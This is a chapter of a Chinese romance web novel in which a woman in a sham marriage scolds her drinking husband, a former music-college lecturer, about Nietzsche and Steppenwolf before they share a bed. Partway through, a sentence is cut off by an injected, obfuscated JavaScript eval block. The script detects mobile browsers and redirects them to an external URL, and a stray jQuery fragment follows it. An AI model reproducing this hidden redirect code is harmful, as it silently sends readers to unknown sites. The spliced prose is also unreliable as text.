16. 酒神精神

作品:《竹音满院[先婚后爱]

    明山幽不知道在忙活什么,只听得见餐厅那边传来了叮叮当当的声音。


    阮妙瑛本来不想做那个先说话的人的,因为不知道哪里来的恋爱潜规则,夫妻吵架的时候,先开口的那个人说明先认输。


    这套潜规则在他们这对假夫妻身上一样适用。


    可在听到那杯子碰撞的声音时,阮妙瑛还是先坐不住了。


    她站起来,悠悠地迈着步子去到餐厅,果然见明山幽正坐在吧台上,喝刚刚吃饭时没喝完的那瓶伏特加。


    “你就非要一晚上把它喝完吗?”阮妙瑛双手抱胸站在明山幽的身边。


    明山幽其实一直没想着跟阮妙瑛生气,他只是有点郁闷,自己十几年的生活习惯被突如其来的一个女孩指责了。


    这个倒不是关键,因为之前姐姐明水清和莫郁青他们也说过让他改掉酗酒的问题,那时候他根本就不在意,完全把别人说的话当耳旁风。


    可是今天阮妙瑛说他的时候,他居然真的动了要戒酒的念头,这让他今晚心里一直闷闷不乐,不知道这种感觉从何而起。


    心中反烦闷,就更加想喝酒了。


    明山幽手里还抓着杯子,偏过头去看阮妙瑛,又露出那老不正经的笑:“我们俩今晚第一次同床共枕,我怕我紧张,所以喝一点。”


    阮妙瑛看着他那几乎都快见了底的瓶子,语气很冷:“这叫喝一点?”


    “明山幽,我跟你说清楚,别人不知道我们之间的形婚关系,所以我不能对你坐视不管,传出去不好听,至少在我们结婚的期间,我得保证你在我眼皮子底下不能出事。”


    “这么有能耐?”明山幽还是笑。


    明山幽本来在身高上就气势逼人了,这会儿坐在吧台的高脚凳上,还是比站着的阮妙瑛高出一截来。


    而且他那双眸子是典型的欧式大双眼皮和明亮的眼瞳,也许是因为年纪的缘故,眼尾已经有几道鱼尾纹了,与阮妙瑛那清冷的眼睛相比,在此时明显更有气势上的优势。


    阮妙瑛默默地偏了些头,躲开了他的视线。


    “毕竟五年前的事情都是我的错,不然你现在也不至于……”


    “我说过了,我现在的生活都是我自己的选择,与你没有关系。”


    阮妙瑛还没说完,就被明山幽打断了。


    他这话的意思阮妙瑛听出来了,就是她还没有那么大本事能影响到他,侧而言之呢,就是她也管不着他喝什么酒喝多少。


    明山幽并不知道阮妙瑛心里此时在想什么,他现在也不是很关心。比起这些,他觉得今晚还有更重要的事情要先解决。


    “今晚真的打算跟我一起睡?”明山幽问。


    阮妙瑛这才意识到刚刚无意之中留下了这么一个篓子,她欲言又止好半天,最后看着明山幽说:“那要不……我睡沙发吧?”


    明山幽本想说他来睡的,他拿出手机给楼上的人打了一个电话,由希说康康还在洗澡,房间还没收拾,说是麻烦一下阮妙瑛上去收拾一下她的房间,因为她和温以芸不敢动阮妙瑛的东西。


    本来就是楼上楼下,明山幽只是懒得上楼才打的电话,其实在楼下也能听见由希的声音。


    阮妙瑛的脸肉眼可见的红了起来。由希这话不就是在说阮妙瑛房间乱吗?


    明山幽特别不给面子地笑了起来,放下酒杯,说道:“走吧,我陪你上楼。”


    果然到了二楼,由希和温以芸正局促地站在阮妙瑛的房间外面,以前明山幽还是未婚状态的时候,这个房间没有主人,他们都在这里常备着生活用品的,明山幽也不管他们,就让他们自己折腾,但现在这里住了阮妙瑛,他们就没法儿再像以前那么随意了。


    温以芸见到阮妙瑛,连忙解释道:“阮小姐,我们刚刚只在二楼的小客厅陪康康玩了一会儿,还没进去过,要不你还是睡回你的房间吧,让莫老师下去睡沙发也可以。”


    听她这么客气,阮妙瑛突然就觉得好没劲,就为这件事纠结那么久,其实本来就很简单的一件事,实际上她才是那个外人,没必要让他们为了她一个只住一年的人改变生活习惯


    “没事,我下去睡吧,不过你们得等我一下,我的房间……的确有点乱。”


    阮妙瑛正要走进房间,收拾自己的东西,明山幽忽然伸手拽住了她的胳膊,阮妙瑛猝不及防地撞上了他的胸膛。


    “搞这么麻烦,你和我睡。”明山幽说,“那张沙发是全红木的,硬得难受,怎么谁都想去睡?”


    *


    阮妙瑛是最后一个洗澡的,她从浴室出来,走廊尽头的窗户没有关实,吹来一阵深秋夜里的山风,皮肤上的水汽未干,激得她微微一颤,深呼吸过后才打开了房间门。


    之前还在说不能让男的随便进阮妙瑛房间的人,已经坐在了她的房间书桌前,一边喝着酒一边在读阮妙瑛摆在桌面上的那本黑塞的巨著《荒原狼》。


    因为阮妙瑛的房间东西实在太多了,收拾起来也麻烦,明山幽的房间整洁一些,莫郁青换套床单被套就能睡,所以他们干脆就睡在了阮妙瑛的房间里。


    反正阮妙瑛不在意,明山幽也不在意。


    看见涂着面膜的阮妙瑛进来,明山幽对她说:“这本书都被你翻烂了,不过这个翻译版本不行。”


    “每一版的翻译我都看过了,主要是感觉没怎么读懂,多读了几遍而已。”阮妙瑛倒是谦虚,“以前你有一节课说了好久的尼采,还提到了这本书,我就买来看了。”


    那节课阮妙瑛印象很是深刻,算下来,那应该是五六年前的北城晚冬,阮妙瑛刚大二下学期开学,那天有些回温,天气晴朗,阮妙瑛心情不错,跟着文嘉言去听明山幽的课。


    那本来是艺术史论的选修课,阮妙瑛寒假的时候死活没抢上,文嘉言却抢上了。


    第一节课明山幽没有按教义来上——他平时本来也不爱根据课本讲,就是这节课上,也许是被太阳照得舒适无比,他口中的尼采成为了大部分学生的催眠曲。


    但阮妙瑛却记得清清楚楚,记得黑塞笔下的荒原狼,记得荒原狼哈里的疯狂与冲动,记得尼采为了一匹马而疯,还记得……


    阮妙瑛放下擦头发的毛巾,伸手夺过明山幽手里的酒杯,把酒往窗外一泼,说道:“但是你今天真的不能再喝了,尼采的酒神。”


    明山幽这次没有跟她生气,阮妙瑛隐隐能感觉到他有些微醺了,再想到六年前讲台上那个游刃有余、侃侃而谈的男人,她的心尖忽然传来一阵刺痛。


    “这是你的房间,我不喝点怕是我今晚都睡不着了。”明山幽说的话非常直白露骨。


    阮妙瑛却不为所动,她为明山幽感到一阵悲哀,明明世界上有很多种能让人犯困的东西,偏偏明山幽对什么都有极大的研究兴趣。


    她不知道这是不是天


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927806|159273||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    才的代价。


    “好了,睡觉,不许喝了。”阮妙瑛把自己的书合上,不让明山幽再进行任何阅读,生怕他读进去了脑海里又产生无数的思考。


    思维过度发散之后是很难入睡的,阮妙瑛倒不介意熬夜听明山幽给自己上课,但是人不能不睡觉,所以阮妙瑛强制明山幽停止了任何睡前行为。


    酒被倒了,书也被合上了,可明山幽没有生气,也没有立马上床,而是等阮妙瑛完成她一系列睡前护肤行为。


    这原本应该是一件很隐私的事情,平时有不少乐团的同事或之前的同学问阮妙瑛是怎么护肤的,阮妙瑛都不是很想回答,每个人肤质都不一样,习惯也不一样,根本就没办法出经验分享啊!


    可被明山幽观察的时候,她反而更担心的是这种新奇的事情对明山幽来说会影响他的睡眠。


    她只好赶快吹干了头发,又回浴室洗干净了面膜,最后上了水乳和精油,才回到房间里,说道:“我不上床你就不睡是吧?”


    “这是你的房间,我哪敢啊?”明山幽问道,“你这些护肤都有用吗?”


    面对这种直男提问,阮妙瑛竟然也不生气,她最后给自己的手上了一层护手霜,回答他:“不一定,我觉得心理作用效果更大一些,最有效果的还是要去医美打水光。”


    “你打过?”明山幽问。


    阮妙瑛心想完了,他的兴趣果然来了。


    “我打过一次而已,但我天生丽质,行不行?睡觉睡觉,你怎么那么多废话?”阮妙瑛把明山幽从书桌前拽了起来。


    明山幽站起来,眼神幽暗地上下打量了一下阮妙瑛,说:“我有时候觉得你特别钝。”


    都要睡一张床了,阮妙瑛还穿着睡裙,也不怕睡着睡着就走光了。


    阮妙瑛现在是真的不想回他任何一句话,她只想让他赶紧睡觉。


    好不容易两人都躺进被窝了,又关了灯了,就当阮妙瑛打算刷会儿手机就睡的时候,明山幽还在问:“为什么你当时不选我的课?”


    阮妙瑛说:“我抢不上啊,而且你也不会来上我们提琴系的专业课。”


    当年明山幽在音乐学院也算是个抢手的老师,因为有二胡天才的身份加持,再加上长得帅,更重要的是他上课点名和期末考试也不严,能捞一定捞、能给高分一定给,所以很多学生都想尽办法要抢他的课。


    而且练乐器的孩子,没有一个手速不快的。


    “没选上也好,不然我们现在就坐实了师/生恋了。”明山幽忽然说道。


    “你是不是真的醉了——”


    阮妙瑛觉得不太对劲,转过身去,却看见明山幽已经侧躺着面对着她了,他的眼睛里映着窗外的盈盈夜色,像觥筹交错的迷幻。


    阮妙瑛的下一句话已经无法说出口了。


    她不知道她的脸庞在黑夜里还是美得非常具体,阴影高光恰到好处,似是置放在博物馆里的古典主义人像雕塑。


    “可能是真的有点醉了吧,今天喝了整整一瓶呢。”明山幽又平躺了回去,用手臂压上眼睛。


    阮妙瑛说:“那你的酒量也不是很好啊……”


    只听明山幽轻轻笑了一声:“睡觉吧,晚安,日神小姐。”


    阮妙瑛浑身一惊,日神在尼采的观点里和酒神对立,通俗的解释就是世界像梦境一样美丽。


    “晚安……”阮妙瑛轻声说。